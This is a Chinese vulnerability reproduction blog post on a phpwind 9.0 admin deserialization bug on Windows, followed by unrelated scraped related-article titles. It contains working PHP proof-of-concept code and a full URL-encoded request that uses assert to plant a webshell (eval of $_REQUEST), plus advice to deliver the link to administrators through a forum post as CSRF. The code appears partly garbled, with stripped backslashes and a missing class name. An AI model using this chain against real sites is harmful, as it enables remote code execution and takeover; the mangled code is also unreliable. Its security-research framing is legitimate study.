漏洞复现

复现环境Windows10

php5.6

phpwind9.0

漏洞要求系统为windows

需要有访问后台任务中心权限

复现过程step1 生成反序列化poc1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30header("Content-Type: text/plain");

require_once "test2.php";

class{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>');"]

];

}

}

$obj = new stdClass();

$obj->a = new srclibraryutilityPwDelayRun();

$obj->b = new PwDelayRun();

echo serialize($obj);

echo "n";

echo urlencode(serialize($obj));

?>

namespace srclibraryutility;

class PwDelayRun{

}

?>

step2 使用admin账户登陆,然后请求http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22phpinfo%28%29%3Bfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+eval%28%24_REQUEST%5B233%5D%29%3B+%3F%3E%27%29%3Bexit%3B%22%3B%7D%7D%7D%7D

代码成功执行

shell成功写入

漏洞分析

全局搜索找到反序列化位置

漏洞位置一共三处:1

2

3/src/applications/admin/TaskConditionBbsController.php

/src/applications/admin/TaskConditionMemberController.php

/src/applications/admin/TaskRewardController.php

这里使用/src/applications/admin/TaskConditionMemberController.php

$var = unserialize($this->getInput('var'));

,从Input中获取var参数的值,进行反序列化。 这个Input可以来自get/post/cookie。只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。

全局搜索_destruct

可以找到一个PwDelayRun类,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。在/src/applications/admin/TaskConditionMemberController.php中,输入可以控制PwDelayRun类的序列化字符串,但是在执行反序列话之前必须定义了PwDelayRun类(也就是在此之前要包含过PwDelayRun所在的文档)

在TaskConditionMemberController::beforeAction::unserialize处下端点,并在之前输出当前所定义的所有类

访问连接http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=

可以看到在此之前没有定义过PwDelayRun类,那么即使反序列化也不会调用相关方法

spl_autoload包含任意php文档

为了包含PwDelayRun类,作者提到了使用spl_autoloa方法,就是说如果要使用的类不存在,会调用框架自己注册的autoload方法加载类。在phpwind9中,实现了autoload方法,并注册了

但是这里className没有路径,PwDelayRun类在src/library/utility/PwDelayRun.php文档中,需要传入路径才可以包含到这个类。 虽然类名不能包含特殊字符,但类名中是可以包含的,这是php中空间命名。命名空间中可以包含,而在windows下,也可以作为路径的分隔符,因此可以在payload中使用命名空间生成序列化字符串,在phpwind9中找不到类的时候,就会使用include包含。而包含时只能在windows上使用,所以只限于windows系统。

但是,这里将类名设置为srclibraryutilityPwDelayRun,而 整个phpwind全局是没有使用命名空间的,也就是默认命名空间为,但现在的PwDelayRun类所在的命名空间为srclibraryutility。 这样,即使我包含了srclibraryutilityPwDelayRun.php文档,反序列化的时候是实例化的srclibraryutilityPwDelayRun类。但phpwind的命名空间是,上下文存在的类是PwDelayRun类,还是无法正常进行(得到的是一个不完整的类__php_incomplete_class,这是因为php反序列化一个对象,PHP无法找到原始类,所以PHP不知道,这个类是怎么样的):

只要生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象

利用数组+命名空间加载相同名字的类

生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象。但是有个数组判断,

这里如果反序列化后是个数组,就会保存到output中,导致变量不会在beforeAction结束时销毁,而是在脚本束时销毁。如果在结束时销毁,由于没有了上下文,poc中写文档那一步是写不进去的,除非文档路径给绝对给绝对路径,自己可以测试下。作者在分析中给了一个方法,就是用其他对象来替代数组,比如stdClass,

所以最后得到如下poc:1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28<?php

// test1.php

header("Content-Type: text/plain");

require_once "test2.php";

class PwDelayRun{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>')"]

];

}

}

$obj = new stdClass();

$obj->a = new srclibraryutilityPwDelayRun();

$obj->b = new PwDelayRun();

echo urlencode(serialize($obj));

?>

//test2.php

namespace srclibraryutility;

class PwDelayRun{

}

?>

csrf

由于上面的代码执行链接是get请求,不需要post中的csrftoken或其他验证,所以可以写个帖子,插入恶意链接,等待管理员点击。但是帖子中把&编码了,导致请求不正常,不过可以增加一步跳转

总结

这个漏洞很犀利和巧妙,所以自己跟踪与学习了下,加强自己的代码审计与分析能力,还有学到一些新技能:可以调用get_declared_classes查看当前执行所加载的所有自定义类

反序列化时,如果反序列化点之前没有加载过要反序列化的类,spl_autoload可能会很有帮助,查看框架是否使用了autoload

反序列化时,可以使用一种对象替代另一种对象绕过某些判断(比如用stdClass替代array)

-------------本文结束感谢您的阅读-------------

%3c php 能用什么代替,Phpwind9相关推荐

  1. html %3c% page,page.html

    KIT ADMIN KIT ADMIN K 控制台 商品管理 捐赠我 其它系统 邮件管理 消息管理 授权管理 Van 基本资料 安全设置 注销 基本元素  表格 表单  导航栏  列表四  百 ...

  2. php %3c%3c%3c 解析常量,PHP基础知识小结1

    1.变量与常量的区别与创建,访问方式 变量与常量的区别 变量是临时存储数据的容器,是实现数据服用的手段.变量分为全局变量,私有变量,和超全局变量,除超全局变量外,其他变量受作用域限制.变量必须以$作为 ...

  3. h30-t10 android phone,荣耀(荣耀)3C H30-T10/2GB RAM/移动3G手机系统介绍评测-ZOL中关村在线...

    笔者本身就是华为手机的用户,因此对Emotion UI的感觉还是不错的.此次,华为荣耀3C搭载了全新的Emotion UI 2.0,相比之前版本修改了不少图标和主题的设计,我们一起来看看. 之前推出的 ...

  4. .NET的3C:CTS、CLS和CLR 以及 IL

     .NET的3C:CTS.CLS和CLR .NET结合Java和COM解决方案两者优点来解决互操作性问题.类似于COM定义的标准二进制格式,.NET定义了一个称为通用类型系统Common Type S ...

  5. mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)

    2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...

  6. 进军“手机照相馆”:京东要和3C厂商干什么?

    4月19日,国内知名手机品牌努比亚在北京发布Z11 mini机型,但就在该发布会举行期间的时候,京东却在现场边开设了一个名为"手机照相馆"为主题的拍照店.根据现场了解的讯息得知,京 ...

  7. %3cphp和%3c php_关于 PHP 表单安全性

    PHP 表单安全性 $_SERVER["PHP_SELF"] 变量能够被黑客利用! 如果页面使用了 PHP_SELF,用户能够输入下划线然后执行跨站点脚本(XSS). 假设我们的一 ...

  8. php %3c php 攻击,web 攻击靶机解题过程

    sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...

  9. 东南亚Lazada平台3C数码市场概括,手机配件消费电子选品推荐

    eMarketer数据显示,2022年,东南亚的电商销售总额将达到896.7亿美元,比去年增加153.1亿美元.eMarketer称,鉴于其他地区增长放缓,东南亚地区电商增长将更加突出,2022年东南 ...

最新文章

  1. sql 字符串比较大小_SQL简单查询
  2. linux命令:case选择结构语句
  3. 模拟用户登陆Web应用
  4. java快速教程_Java快速入门
  5. oracle中变量前加冒号_ORACLE 变量的定义和使用
  6. Java笔记-Spring Boot生成MD5摘要
  7. 使用jxl来读取Excel中的数据
  8. C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 服务器之间的接口通讯功、信息交换...
  9. 基本算法——前缀和与差分
  10. IE8不能上传、插入图片的解决办法!
  11. 计算机主机英语怎么说,电脑的英文-电脑的主机这个词英语怎么说?电脑的主 – 手机爱问...
  12. 下载mono太慢怎么办?
  13. windows批量ping测试脚本
  14. 每日一学18——凉鞋的简易有限状态机
  15. Ubuntu禁用触摸板
  16. android 路由器 操作系统,小米全新路由器操作系统是什么?支持什么语言?
  17. 情态动词+have+done用法整理
  18. SonrLint常见解决方案
  19. java数据类型有哪几种_Java数据类型有哪些?Java数据类型包括几种?
  20. 我在3G门户工作学到的9句话

热门文章

  1. synchronized和Lock的异同
  2. vs code 简易使用教程(前端)
  3. 一些dalao的模板
  4. python编程学习笔记(三)
  5. python饿了么商家开放平台模拟网页http请求实战
  6. PymongoDB报错MongoError: The dotted field .. is not valid for storage
  7. python对excel数据统计_用 python实现简单EXCEL数据统计
  8. APP微信支付报错《商户号该产品权限未开通,请前往商户平台产品中心检查后重试》
  9. 计算机速成课 第三十七集 机器人
  10. Mathlab编程-微积分在Matlab中的解法